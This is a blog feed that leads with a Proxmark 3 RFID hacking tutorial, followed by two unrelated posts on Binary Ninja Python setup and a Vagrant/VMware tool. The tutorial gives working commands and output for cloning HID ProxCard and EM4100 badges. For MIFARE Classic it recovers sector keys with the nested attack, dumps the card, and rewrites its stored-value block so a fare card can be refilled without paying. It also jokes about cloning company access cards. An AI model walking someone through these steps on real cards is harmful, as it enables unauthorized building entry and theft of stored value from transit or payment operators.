<p><img src="https://blog.kchung.co/content/images/2017/05/IMG_0577.png" alt="RFID Hacking with The Proxmark 3" loading="lazy"></p>
<p>You can purchase a PM3 from a couple of different sites and I think <a href="https://store.ryscc.com/">Rysc Corp</a> is the most reputable in the US but I actually purchased my PM3 from <a href="http://www.elechouse.com/elechouse/index.php?main_page=product_info&amp;cPath=90_93&amp;products_id=2264">Elechouse</a> in Hong Kong for a total of $248 after shipping. At Rysc Corp a Proxmark (RDV2 or not) costs at least $299 before shipping.</p>
<p>It cost $212.00 for the actual PM3 RDV2 and $36.30 for shipping to the US for a total of $248.30.</p>
<p>Looking back, it&apos;s actually possible to save a couple more bucks by going to <a href="https://www.aliexpress.com/wholesale?catId=0&amp;initiative_id=SB_20170529133012&amp;SearchText=Proxmark">AliExpress</a> and buying the RDV2 there for about $190 with free shipping or the even cheaper &quot;Proxmark 3 Easy&quot;.</p>
<p><img src="https://blog.kchung.co/content/images/2017/05/proxmark_easy.jpg" alt="RFID Hacking with The Proxmark 3" loading="lazy"></p>
<p>The PM3 Easy is a pretty cheap version of the Proxmark that costs about $100 but sacrifices some features:</p>
<blockquote>
<p>This is a version intended for the chinese domestic market only, so has a few features removed:</p>
<ol>
<li>AT91SAM7S256 (smaller memory 256kb)</li>
<li>Removed lithium battery management and socket.</li>
<li>Removed some components such as Relay and the Amplifier</li>
<li>Use different antenna connection.<br>
~ <a href="http://www.proxmark.org/forum/viewtopic.php?pid=26491#p26491">Proxmark Forums Post by kwx</a></li>
</ol>
</blockquote>
<p>Overall, the original Proxmark 3 design is obsolete and you should go with one of the newer designs from Elechouse.</p>
<h1 id="proxmark3setup">Proxmark 3 Setup</h1>
<p>There&apos;s a number of resources for setting up a PM3 and in terms of hardware it will differ slightly depending on your model.</p>
<p>The original PM3 has USB antennaes that you can detach and reattach at will. You should not do this on the RDV2. With the RDV2 after you connect the MMCX cables, you should leave them attached and screw in the antenna modules into the main body.</p>
<p>I did not do this and one antenna is now hot-glued to the MMCX cable.</p>
<p>Once everything is attached you should follow the <a href="https://github.com/Proxmark/proxmark3/wiki">PM3 wiki</a> for setting up the PM3 firmware. To the best of my knowledge all released Proxmarks use the same firmware so there shouldn&apos;t be much model based difference in terms of software.</p>
<p>I won&apos;t get into the software setup too much because it&apos;s very involved and I won&apos;t be able to do a better job than the wiki. However, I will say that at some point the PM3 changed from a USB interface to a serial interface for performance reasons. The serial interface is finicky and can have problems running in a virtual machine.</p>
<p>If you do decide to use a VM, I&apos;ve had more success with Linux than Windows and in Windows, for some reason I can&apos;t explain, the PM3 client only works when I use the <a href="http://proxmark.org/forum/viewtopic.php?id=1562">GUI</a>. But at the moment, I use a Windows 7 VM and the GUI as my PM3 interface.</p>
<p>Overall, flashing the PM3 can be an annoying process that you really only want to have to do once or twice.</p>
<h1 id="rfidtechnologies">RFID Technologies</h1>
<p>There are a number of RFID authentication technologies common in the US and I&apos;ve encountered four in my day to day life:</p>
<ul>
<li>HID iClass (13.56 MHz)</li>
<li>HID ProxCard (125 kHz)</li>
<li>EM4100x (125 kHz)</li>
<li>MIFARE Classic (13.56 MHz)</li>
</ul>
<p>We&apos;re going to break down the last three because I <a href="https://blog.kchung.co/reverse-engineering-hid-iclass-master-keys/">already covered how to read/write iClass cards</a>.</p>
<p>With some assorted unknown RFID tags and cards we&apos;ll try to clone/modify the contents of each. First we need to figure out what technology is behind each card. Generally you can research this information online through serial numbers, manufacturer information, and datasheets.</p>
<p>But with the PM3 you can take a shortcut and run <code>lf search</code> or <code>hf search</code>. These two commands will search for supported RFID tags in the low frequency (125 kHz) and the high frequency (13.56 MHz) range respectively.</p>
<h2 id="hidproxcard">HID ProxCard</h2>
<p>Let&apos;s take a look at the more popular HID ProxCard.</p>
<p><img src="https://blog.kchung.co/content/images/2017/05/IMG_0584.png" alt="RFID Hacking with The Proxmark 3" loading="lazy"></p>
<p>On the front of the card it has some numbers and the words &quot;HID Proximity&quot;. With some Googling we can ascertain that this is an HID ProxCard which we can clone with some Proxmark commands.</p>
<p>To start off we can search for a supported tag with <code>lf search</code>:</p>
<pre><code>proxmark3&gt; lf search
#db# DownloadFPGA(len: 42096)
Reading 30000 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1
NOTE: some demods output possible binary
  if it finds something that looks like a tag
False Positives ARE possible
Checking for known tags:
HID Prox TAG ID: 2004263f88 (8132) - Format Len: 26bit - FC: 19 - Card: 8132
Valid HID Prox ID Found!
</code></pre>
<p>Knowing that it&apos;s definitely a ProxCard we can upgrade to the HID specific commands. We already know the Tag ID (<code>2004263f88</code>) but we can run <code>lf hid fskdemod</code> to read Proxcards continuously (Push the button on the PM3 to stop scanning):</p>
<pre><code>proxmark3&gt; lf hid fskdemod 
#db# TAG ID: 2004263f88 (8132) - Format Len: 26bit - FC: 19 - Card: 8132                             
#db# Stopped
</code></pre>
<p>This Tag ID is directly encoded from the Facility Code (19) and Card ID (8132). You can use some of the <a href="https://www.brivo.com/support/card-calculator">online 26 bit Wiegand calculators</a> online to double check this for yourself.</p>
<p>This effectively means that you only need to know those numbers (which are printed on the card itself) to clone the card.</p>
<p>Most low frequency tags don&apos;t have any kind of complex authentication scheme or any protection against replay attacks. It&apos;s a simple matter to scan an existing working card and create a clone. With a high powered reader, one can <a href="https://www.bishopfox.com/resources/tools/rfid-hacking/attack-tools/">steal RFID tags from multiple feet away</a>.</p>
<p>With the Tag ID in hand, we now need a blank RFID card that we can clone the Tag ID onto. The best card for this is the <a href="https://www.amazon.com/gp/product/B017IP85YW/ref=as_li_tl?ie=UTF8&amp;camp=1789&amp;creative=9325&amp;creativeASIN=B017IP85YW&amp;linkCode=as2&amp;tag=amzref0f-20&amp;linkId=dbfc33ecb4a5609e5e1624b27923dc6c">T5577</a> which can emulate a variety of low frequency cards including the two being discussed here (HID ProxCard, EM41000).</p>
<p><img src="https://blog.kchung.co/content/images/2017/05/IMG_0586.png" alt="RFID Hacking with The Proxmark 3" loading="lazy"></p>
<p>With the Tag ID in hand and T5577 ready we can clone simply with:</p>
<pre><code>proxmark3&gt; lf hid clone 2004263f88 
Cloning tag with ID 2004263f88
#db# DONE!
</code></pre>
<p>Now the T5577 tag should function as an identical clone to the original ProxCard!</p>
<p>In addition to reading and writing, the PM3 is also capable of simulating an RFID tag but it really isn&apos;t as intuitive as one would like. You generally need to have a computer of some sort connected to the PM3 and have the ability to run commands. The simulation could be useful to a pentester, but reading and writing is all most people need.</p>
<h1 id="em4100">EM4100</h1>
<p>The EM4100 cards are not as common as the HID ProxCard but it shows up sometimes and nonetheless the PM3 supports it.</p>
<p><img src="https://blog.kchung.co/content/images/2017/05/IMG_0579.png" alt="RFID Hacking with The Proxmark 3" loading="lazy"></p>
<p>We continue once again with the <code>lf search</code> command:</p>
<pre><code>proxmark3&gt; lf search
#db# DownloadFPGA(len: 42096)
Reading 30000 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1
NOTE: some demods output possible binary
  if it finds something that looks like a tag
False Positives ARE possible
Checking for known tags:
EM410x pattern found:
EM TAG ID      : 8800180E55
Unique TAG ID  : 11001870AA
Possible de-scramble patterns
HoneyWell IdentKey {
DEZ 8          : 01576533
DEZ 10         : 0001576533
DEZ 5.5        : 00024.03669
DEZ 3.5A       : 136.03669
DEZ 3.5B       : 000.03669
DEZ 3.5C       : 024.03669
DEZ 14/IK2     : 00584117128789
DEZ 15/IK3     : 000073016045738
DEZ 20/ZK      : 01010000010807001010
}
Other          : 03669_024_01576533
Pattern Paxton : 2284604501 [0x882C4C55]
Pattern 1      : 4457436 [0x4403DC]
Pattern Sebury : 3669 24 1576533  [0xE55 0x18 0x180E55]
Valid EM410x ID Found!
</code></pre>
<p>Knowing that it&apos;s a EM4100 we can proceed to the more specific EM4100 RFID commands and read the Tag ID:</p>
<pre><code>proxmark3&gt; lf em4x em410xdemod 1

#db# DownloadFPGA(len: 42096)
#db# EM TAG ID: 8800180e55 - (03669_024_01576533)
</code></pre>
<p>And once again with the Tag ID in hand we can write it to a T5577.</p>
<pre><code>proxmark3&gt; lf em4x em410xwrite 8800180e55 1
Writing T55x7 tag with UID 0x8800180e55 (clock rate: 64)

#db# Started writing T55x7 tag ...
#db# Clock rate: 64
#db# Tag T55x7 written with 0xffc62000e20ea94e
</code></pre>
<p>Most low frequency RFID tags are child&apos;s play to read/write/clone/emulate with the Proxmark 3.</p>
<p>Next we&apos;ll take a look at a card that is a little more complicated but ultimately broken, the MIFARE Classic.</p>
<h1 id="mifareclassic">MIFARE Classic</h1>
<p>The MIFARE Classic is a very popular RFID card that&apos;s in many different operations like bus fare cards, laundry cards, or ID cards. They&apos;re very widespread and unfortunately, very broken.</p>
<p>We&apos;re going to use the high frequency antenna to read our high frequency MIFARE card.</p>
<p><img src="https://blog.kchung.co/content/images/2017/05/IMG_0578.png" alt="RFID Hacking with The Proxmark 3" loading="lazy"></p>
<p>Let&apos;s start off with <code>hf search</code> to try and identify our card:</p>
<p><img src="https://blog.kchung.co/content/images/2017/05/IMG_0581.png" alt="RFID Hacking with The Proxmark 3" loading="lazy"></p>
<pre><code>proxmark3&gt; hf search
#db# DownloadFPGA(len: 42096)
 UID : bc 4e a5 35
ATQA : 00 04
 SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Answers to chinese magic backdoor commands: NO
Valid ISO14443A Tag Found - Quitting Search
</code></pre>
<p>Unfortunately the MIFARE Card is not quite as easy to clone as a low frequency card. It leverages a simple authentication scheme which prevents us from just cloning the UID.</p>
<p>While we can read certain blocks from the card others are unavailable because of an &quot;Authentication Error&quot;:</p>
<h6 id="successfulblockread">Successful Block Read:</h6>
<pre><code>proxmark3&gt; hf mf rdbl 0 A FFFFFFFFFFFF
--block no:0, key type:A, key:ff ff ff ff ff ff            
#db# READ BLOCK FINISHED                 
isOk:01 data:01 02 03 04 04 08 04 00 00 00 00 00 00 00 00 00  
</code></pre>
<h6 id="failedblockread">Failed Block Read:</h6>
<pre><code>proxmark3&gt; hf mf rdbl 5 A FFFFFFFFFFFF
--block no:5, key type:A, key:ff ff ff ff ff ff            
#db# Authentication failed. Card timeout.                 
#db# Auth error                 
#db# READ BLOCK FINISHED                 
isOk:00
</code></pre>
<p>At first it may seem odd that we can&apos;t read all blocks because we have a key but reading the <a href="https://en.wikipedia.org/wiki/MIFARE#MIFARE_Classic">Wikipedia article</a> clarifies everything for us:</p>
<blockquote>
<p>The MIFARE Classic 1K offers 1024 bytes of data storage, split into 16 sectors; each sector is protected by two different keys, called A and B. Each key can be programmed to allow operations such as reading, writing, increasing value blocks, etc.</p>
</blockquote>
<p>For some reason many MIFARE classic implementations use the default keys so there are a number of applications that test the default keys against a card.</p>
<p>The PM3 features the &quot;Test Block Keys&quot; command which will test the default keys for us:</p>
<pre><code>proxmark3&gt; hf mf chk * ?
No key specified, trying default keys
chk default key[ 0] ffffffffffff
chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5
chk default key[ 3] b0b1b2b3b4b5
chk default key[ 4] aabbccddeeff
chk default key[ 5] 4d3a99c351dd
chk default key[ 6] 1a982c7e459a
chk default key[ 7] d3f7d3f7d3f7
chk default key[ 8] 714c5c886e97
chk default key[ 9] 587ee5f9350f
chk default key[10] a0478cc39091
chk default key[11] 533cb6c723f6
chk default key[12] 8fd0a4f256e9
--sector: 0, block:  3, key type:A, key count:13
Found valid key:[ffffffffffff]
...omitted for brevity...
--sector:15, block: 63, key type:B, key count:13
Found valid key:[ffffffffffff]
</code></pre>
<p>Long story short it looks like we can use the default key of <code>ffffffffffff</code> to read most blocks but not some blocks.</p>
<p>Using the &quot;Nested Attack&quot; we can  use our one useable key to identify keys for the other blocks.</p>
<pre><code>proxmark3&gt; hf mf nested 1 0 A ffffffffffff   d
Testing known keys. Sector count=16
nested...
-----------------------------------------------
uid:bc4ea535 trgbl=4 trgkey=0
Found valid key:080808080808
-----------------------------------------------
uid:bc4ea535 trgbl=8 trgkey=0
Found valid key:080808080808
Time in nested: 7.832 (3.916 sec per key)
-----------------------------------------------
Iterations count: 2
|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|001|  080808080808  | 1 |  ffffffffffff  | 1 |
|002|  080808080808  | 1 |  ffffffffffff  | 1 |
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...
</code></pre>
<p>I really have no idea how the Nested Attack works and there&apos;s not a bunch of information available online about it... <em>but it works</em>. If you want to learn more about the Nested Attack I would probably recommend reading the PM3 source code or some of the original papers detailing the attacks.</p>
<h6 id="note">Note</h6>
<p>In the earlier Nested Attack command it is important to dump the keys to the <code>dumpkeys.bin</code> file with the <code>d</code> parameter to enable the use of other MIFARE Classic commands.</p>
<p>All of a sudden we have a new key: <code>080808080808</code>. This key allows us to read our secret blocks:</p>
<pre><code>proxmark3&gt; hf mf rdbl 5 A 080808080808
--block no:5, key type:A, key:08 08 08 08 08 08            
#db# READ BLOCK FINISHED                 
isOk:01 data:00 0a 00 00 ff f5 ff ff 00 0a 00 00 05 fa 05 fa
</code></pre>
<p>In addition with the <code>dumpkeys.bin</code> file ready we can dump the entire card and load it onto a blank MIFARE card.</p>
<pre><code>proxmark3&gt; hf mf dump 1
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
...omitted for brevity...
#db# READ BLOCK FINISHED
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
Successfully read block  0 of sector  0.
...omitted for brevity...
Successfully read block  3 of sector 15.
Dumped 64 blocks (1024 bytes) to file dumpdata.bin
</code></pre>
<p>With the <code>dumpdata.bin</code> file we can restore this card&apos;s contents onto another card with: <code>hf mf restore 1</code>.</p>
<p>However, cloning a MIFARE card is low on the totem pole. With the new keys we have the ability to read and write to the card. Considering it&apos;s commonly used as a fare card, it&apos;s reasonable to question whether or not the value of the card can be modified.</p>
<p>To start let&apos;s look at a partial dump of the card:</p>
<pre><code>bc4e a535 6288 0400 8500 b42e f0bb 6aa8
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
ffff ffff ffff ff07 8069 ffff ffff ffff
4f54 4f54 0050 0082 0136 000b 0000 0000
4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa
0000 0000 0101 0000 0000 0001 0100 0000
</code></pre>
<p>Completely unintelligible until we use the card once and then dump the cards contents again:</p>
<pre><code>bc4e a535 6288 0400 8500 b42e f0bb 6aa8
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
ffff ffff ffff ff07 8069 ffff ffff ffff
4f54 4f54 0050 0082 0136 000b 0000 0000
3205 0000 cdfa ffff 3205 0000 05fa 05fa
0000 0000 0101 0000 0000 0001 0100 0000
</code></pre>
<p>A single row in the dump has changed from:</p>
<p><strong><code>4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa</code></strong></p>
<p>to</p>
<p><strong><code>3205 0000 cdfa ffff 3205 0000 05fa 05fa</code></strong></p>
<p>It&apos;s not immediately clear but there is definitely a changing value on the card. The simplest assumption to make is that the card is storing its own value and then decrementing the cost of a given transaction.</p>
<p>Knowing our starting value (7.75), the cost of an item (2.25) and the resulting value (5.50) we can grep for these values in hex. To simplify our search we&apos;ll just take 75, convert it to hex (0x4b) and then search for the value in the first dump:</p>
<p><strong>4b</strong>07 0000 b4f8 ffff <strong>4b</strong>07 0000 05fa 05fa</p>
<p>This is a dead giveaway that the card is storing its own value. <em>Especially considering that the following byte is 0x07.</em> Therefore we should be able to increase the value of our card on our own by modifying these bytes.</p>
<p>What&apos;s unclear is the meaning of the bytes after our stored value. They don&apos;t seem to repeat and they don&apos;t seem to be predictable given our two dumps. Being cautious, instead of just replacing our value with <code>ffff</code> it&apos;s simpler to fill up our card normally and then reuse that stored value.</p>
<h6 id="note">Note</h6>
<p>A friend pointed out that the <code>b4f8</code> value and the <code>4b07</code> value add up to <code>ffff</code> which pretty confidently say that it is a checksum value that the reader can use to verify that the card&apos;s value was successfully updated after a transaction. Thanks Soly!</p>
<p>With our card filled up to 17.50 we can take a new dump and save the results of Block 5 (where the value is stored).</p>
<pre><code>Block 0: bc4e a535 6288 0400 8500 b42e f0bb 6aa8
Block 1: 0000 0000 0000 0000 0000 0000 0000 0000
Block 2: 0000 0000 0000 0000 0000 0000 0000 0000
Block 3: ffff ffff ffff ff07 8069 ffff ffff ffff
Block 4: 4f54 4f54 0050 0082 0136 000b 0000 0000
Block 5: 3211 0000 cdee ffff 3211 0000 05fa 05fa
Block 6: 0000 0000 0101 0000 0000 0001 0100 0000
</code></pre>
<p>Now  we can endlessly refill our card to 17.50 as follows:</p>
<h6 id="writeblock">Write Block</h6>
<pre><code>proxmark3&gt; hf mf wrbl 5 A 080808080808 32110000cdeeffff3211000005fa05fa
--block no:5, key type:A, key:08 08 08 08 08 08           
--data: 32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa           
#db# WRITE BLOCK FINISHED                 
isOk:01
</code></pre>
<h6 id="readblock">Read Block</h6>
<pre><code>proxmark3&gt; hf mf rdbl 5 A 080808080808
--block no:5, key type:A, key:08 08 08 08 08 08            
#db# READ BLOCK FINISHED                 
isOk:01 data:32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa 
</code></pre>
<p>Even if the default keys weren&apos;t used, we could sniff the communication between the real reader and the card to ascertain a valid key.</p>
<p>Ultimately as long as we know an existing key, we should be able to use the nested attack to identify other keys to gain read/write access to the card.</p>
<h1 id="conclusion">Conclusion</h1>
<p>Many years of research have gone into the security of RFID card systems and the Proxmark 3 is the best tool for tapping into that wealth of knowledge and learning more about RFID card systems.</p>
<p>I greatly recommend picking up a ProxMark 3 and some <a href="https://www.amazon.com/gp/product/B017IP85YW/ref=as_li_tl?ie=UTF8&amp;camp=1789&amp;creative=9325&amp;creativeASIN=B017IP85YW&amp;linkCode=as2&amp;tag=amzref0f-20&amp;linkId=dbfc33ecb4a5609e5e1624b27923dc6c">T5577</a> tags if you&apos;re interested in cloning your RFID cards and  learning more about how these systems work.</p>
<p>It&apos;s also useful for converting your company&apos;s access control cards into little key fobs &#x1F4A9;</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Binary Ninja: IPython and the Python Console]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>Binary Ninja is the new hotness in the reverse engineering world. It represents a new  age of beautiful, programmatic reverse engineering. It&apos;s clear that if the IDA Disassembler is going to be the IDE of reversing, then Binary Ninja (or binja as most people call it) wants to</p>]]></description><link>https://blog.kchung.co/binary-ninja-ipython-and-the-python-console/</link><guid isPermaLink="false">605674d3f4c4b90001d02023</guid><category><![CDATA[binary ninja]]></category><category><![CDATA[reverse engineering]]></category><category><![CDATA[python]]></category><dc:creator><![CDATA[Kevin Chung]]></dc:creator><pubDate>Tue, 27 Dec 2016 19:44:20 GMT</pubDate><media:content url="https://blog.kchung.co/content/images/2016/12/Screen-Shot-2016-12-27-at-12.32.06-PM.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://blog.kchung.co/content/images/2016/12/Screen-Shot-2016-12-27-at-12.32.06-PM.png" alt="Binary Ninja: IPython and the Python Console"><p>Binary Ninja is the new hotness in the reverse engineering world. It represents a new  age of beautiful, programmatic reverse engineering. It&apos;s clear that if the IDA Disassembler is going to be the IDE of reversing, then Binary Ninja (or binja as most people call it) wants to be the Sublime Text or Atom text editor of reversing.</p>
<p>I&apos;ve played with binja a bit and here are some things I&apos;ve figured out that help me when working with it.</p>
<h2 id="virtualenvironments">Virtual Environments</h2>
<p>Virtual Environments are great, they help you keep your Python modules organized and even let you switch Python versions pretty easily.</p>
<p>If you have the commercial license and leverage the scripting interface it may help to install the binaryninja module in a virtualenv.</p>
<p>You can do that with the following commands with <a href="https://virtualenvwrapper.readthedocs.io/en/latest/">virtualenvwrapper</a>.</p>
<pre><code class="language-bash">mkvirtualenv binja
add2virtualenv &apos;/Applications/Binary Ninja.app/Contents/Resources/python&apos;
workon binja
</code></pre>
<p>All of a sudden you&apos;re that much more organized!</p>
<h2 id="ipythonandtabcomplete">IPython and Tab Complete</h2>
<p>The binja Python console is a vanilla Python console that overrides stdin/stdout/stderr to get the Python output to show up in the binja interface.</p>
<p>For users of binja&apos;s commercial license there&apos;s little problem with just modifying the <code>PYTHONPATH</code> (like we did before with add2virtualenv) to include the <code>binaryninja</code> Python module and also use IPython.</p>
<p>If you run into issues with IPython calling <code>sys.stdout.flush()</code> and giving an error about <code>_PythonScriptingInstanceOutput</code>, keep reading.</p>
<p>For users of the personal license it&apos;s a little more difficult to get IPython working.</p>
<p><em>Note that right now this trick for IPython will only work on OSX</em></p>
<p>First you need to modify <code>__init__.py</code> to effectively break the built in Python console while you are using IPython.</p>
<p>OSX users can find the right file here:<br>
<code>/Applications/Binary Ninja.app/Contents/Resources/python/binaryninja/__init__.py</code></p>
<p>You should now apply the patch <a href="https://github.com/Vector35/binaryninja-api/issues/392#issuecomment-263593219">here</a> by modifying the last few lines of <code>__init__.py</code> to the following code:</p>
<pre><code class="language-python">if not sys.stdin.isatty():
	# Wrap stdin/stdout/stderr for Python scripting provider implementation
	sys.stdin = _PythonScriptingInstanceInput(sys.stdin)
	sys.stdout = _PythonScriptingInstanceOutput(sys.stdout, False)
	sys.stderr = _PythonScriptingInstanceOutput(sys.stderr, True)
</code></pre>
<p>Now if you normally use Python installed via brew (as you should be doing) run:</p>
<p><code>DYLD_FRAMEWORK_PATH=/usr/local/opt/python/Frameworks /Applications/Binary\ Ninja.app/Contents/MacOS/binaryninja</code></p>
<p>Binja should open up except instead of using the built-in system Python it will now use the brew installed Python.</p>
<p>Now open the Python console and run:</p>
<p><code>from IPython import embed; embed()</code></p>
<p>and IPython and all its tab-complete goodness and syntax highlighting should be visible in the terminal that started binja.</p>
<p><img src="https://blog.kchung.co/content/images/2016/12/Screen-Shot-2016-12-27-at-2.35.51-PM.png" alt="Binary Ninja: IPython and the Python Console" loading="lazy"></p>
<h2 id="installingpythonmodules">Installing Python modules</h2>
<p>If you&apos;re on OSX you can simply use <code>DYLD_FRAMEWORK_PATH</code> to get binja to use Brew Python and by extension, the modules installed by pip.</p>
<p>If you&apos;re on Windows, you should apply some patches to the <code>__init__.py</code> file located at</p>
<p><code>C:\Program Files\Vector35\BinaryNinja\python\binaryninja\__init__.py</code></p>
<p>By adding the flush() method to <code>_PythonScriptingInstanceInput</code> and <code>_PythonScriptingInstanceOutput</code> you increase the usability of the built in Python console.</p>
<pre><code class="language-python">class _PythonScriptingInstanceOutput(object):
	# ...
	def flush(self):
		pass
</code></pre>
<p>You may need to give your user the permission to edit <code>C:\Program Files\Vector35\BinaryNinja\plugins\Lib\site-packages</code> and also create <code>C:\Program Files\Vector35\BinaryNinja\plugins\Scripts</code></p>
<p><img src="https://blog.kchung.co/content/images/2016/12/permissions.PNG" alt="Binary Ninja: IPython and the Python Console" loading="lazy"></p>
<p>From here you can go into the binja Python console and enter:</p>
<pre><code class="language-python">from setuptools.command import easy_install
easy_install.main( [&quot;-U&quot;,&quot;requests&quot;] )
</code></pre>
<p>Between module installs you may need to restart binja to get the interpreter to recognize the new modules but it should work properly if you don&apos;t have the commercial version.</p>
<p><img src="https://blog.kchung.co/content/images/2016/12/requests.PNG" alt="Binary Ninja: IPython and the Python Console" loading="lazy"></p>
<p>If you feel like being ambitious you can install IPython through this method as well but because of the modified <code>_PythonScriptingInstanceInput</code> and <code>_PythonScriptingInstanceOutput</code> IPython is somewhat stunted and you don&apos;t get colors or the almighty tab complete so it&apos;s really not worth mentioning yet.</p>
<p>You can try to use pip through a similar method but I&apos;ve had less success with it unless I ran it from <code>__init__.py</code> before the <code>_PythonScriptingInstance*</code> classes stole stdin/stdout/stderr away:</p>
<pre><code>import pip
pip.main([&apos;install&apos;, &apos;requests&apos;])
</code></pre>
<p>I hope these tricks are useful to you if you use Binary Ninja.</p>
<p>This post was written with the help of <a href="https://twitter.com/davemanouchehri">David Manouchehri</a></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Mech: Vagrant with VMWare Integration for free]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>In a lot of ways, Vagrant is an exceptional way to use virtual machines (VMs). Terminal wizards rarely need a GUI to get something done and often times you really only need a simple sandbox to prototype something.</p>
<p>Vagrant accomplishes this beautifully by wrapping configuration details in a Vagrantfile and</p>]]></description><link>https://blog.kchung.co/mech-vagrant-with-vmware-integration-for-free/</link><guid isPermaLink="false">605674d3f4c4b90001d02021</guid><category><![CDATA[virtual machines]]></category><category><![CDATA[open source]]></category><category><![CDATA[vagrant]]></category><category><![CDATA[mech]]></category><dc:creator><![CDATA[Kevin Chung]]></dc:creator><pubDate>Mon, 19 Dec 2016 14:34:52 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>In a lot of ways, Vagrant is an exceptional way to use virtual machines (VMs). Terminal wizards rarely need a GUI to get something done and often times you really only need a simple sandbox to prototype something.</p>
<p>Vagrant accomplishes this beautifully by wrapping configuration details in a Vagrantfile and a box file which has the full VM image.</p>
<p>But I&apos;ve got a few gripes with Vagrant...</p>
<ol>
<li>It&apos;s Virtualbox - more on this in a second.</li>
<li>It&apos;s written in Ruby and Vagrantfiles are basically Ruby.</li>
<li>For VMware integration you need to pay $79 on top of the VMWare license to basically get a special interface to your VMs.</li>
</ol>
<p>Vagrant is a great tool and the team at Hashicorp is excellent. However, these gripes cause me to look at Vagrant and ask, why not Python, why not VMware, and how cheap can I be?</p>
<p>The choice of Python is pretty arbitrary but I can only say that the security community at large mostly uses Python and it is my favorite language. More specifically the gripe is why does Vagrant use Ruby to define the Vagrantfile over something like YAML or JSON?</p>
<p>I have extreme angst against Virtualbox. The setup time for a VM is pretty high and Virtualbox VMs tend to run slowly. VMWare is heralded as the industry leader for VMs and the difference is noticeable.</p>
<p>Call me spoiled, but I never use Virtualbox. Ever.</p>
<p>So now it becomes do I pay $79 to use Ruby and Vagrant or do I write something in Python that has compatibility with Vagrant VMs. I went with the latter:</p>
<p><a href="https://github.com/ColdHeat/mech">https://github.com/ColdHeat/mech</a></p>
<pre><code>~/Repositories/mech master
&#x276F; mech --help
mech.
Usage:
    mech init [&lt;url&gt;] [--name=&lt;name&gt;]
    mech (up | start) [options] [&lt;name&gt; --gui]
    mech (down | stop) [options] [&lt;name&gt;]
    mech suspend [options] [&lt;name&gt;]
    mech pause [options] [&lt;name&gt;]
    mech ssh [options] [&lt;name&gt; --user=&lt;user&gt;]
    mech scp &lt;src&gt; &lt;dst&gt; [--user=&lt;user&gt;]
    mech ip [options] [&lt;name&gt;]
    mech (list | ls) [options]
    mech (status | ps) [options]
    mech -h | --help
    mech --version

Options:
    -h --help     Show this screen.
    --version     Show version.
    --debug       Show debug messages.
</code></pre>
<p>Vagrant boxes are just tar&apos;ed up VM images with some Vagrant specific customizations so really Vagrant is just a fancy CLI interface for VirtualBox/VMware/Parallels.</p>
<p>mech just implements a free VMWare interface for the boxes. There are some kinks that need to be worked out but generally my workflow with it looks something like this:</p>
<pre><code>~
&#x276F; mech ls
precise64
ubuntu-14.04-amd64
xenial64

~
&#x276F; mech up xenial64
Getting IP address...
VM started on 172.16.86.217
Sharing current folder...
VM started on 172.16.86.217

~ 18s
&#x276F; mech ssh xenial64
Connecting to 172.16.86.217
mech@172.16.86.217&apos;s password:
Welcome to Ubuntu 16.04 LTS (GNU/Linux 4.4.0-21-generic x86_64)

 * Documentation:  https://help.ubuntu.com/
Last login: Sat Dec 17 13:08:12 2016 from 172.16.86.1
mech@ubuntu:~$
</code></pre>
<p>While I do have some personal boxes built out and kept on my flash drive I&apos;ve found that the <a href="https://github.com/chef/bento#64-bit">bento boxes</a> are good for getting a blank VM started.</p>
<p>You can do something like:</p>
<pre><code>~
&#x276F; mech init https://atlas.hashicorp.com/bento/boxes/debian-8.6/versions/2.3.0/providers/vmware_desktop.box --name=bento
Initializing mech
vmware_desktop.box[################################] 464249/464249 - 00:01:09
Extracting...
What username would you like to save? [mech] vagrant
Saving /Users/kchung/.mech/bento/mechfile
Finished.
Saving ./mechfile
Finished.

~ 4m 8s
&#x276F; mech up bento
Getting IP address...
VM started on 172.16.86.224
Sharing current folder...
VM started on 172.16.86.224

~ 50s
&#x276F; mech ssh bento
Connecting to 172.16.86.224
The authenticity of host &apos;172.16.86.224 (172.16.86.224)&apos; can&apos;t be established.
ECDSA key fingerprint is SHA256:/UsPqlVdUV1QIiARJQsrhgaEEo1Fs0PHOLrLTmahfgE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added &apos;172.16.86.224&apos; (ECDSA) to the list of known hosts.
vagrant@172.16.86.224&apos;s password:

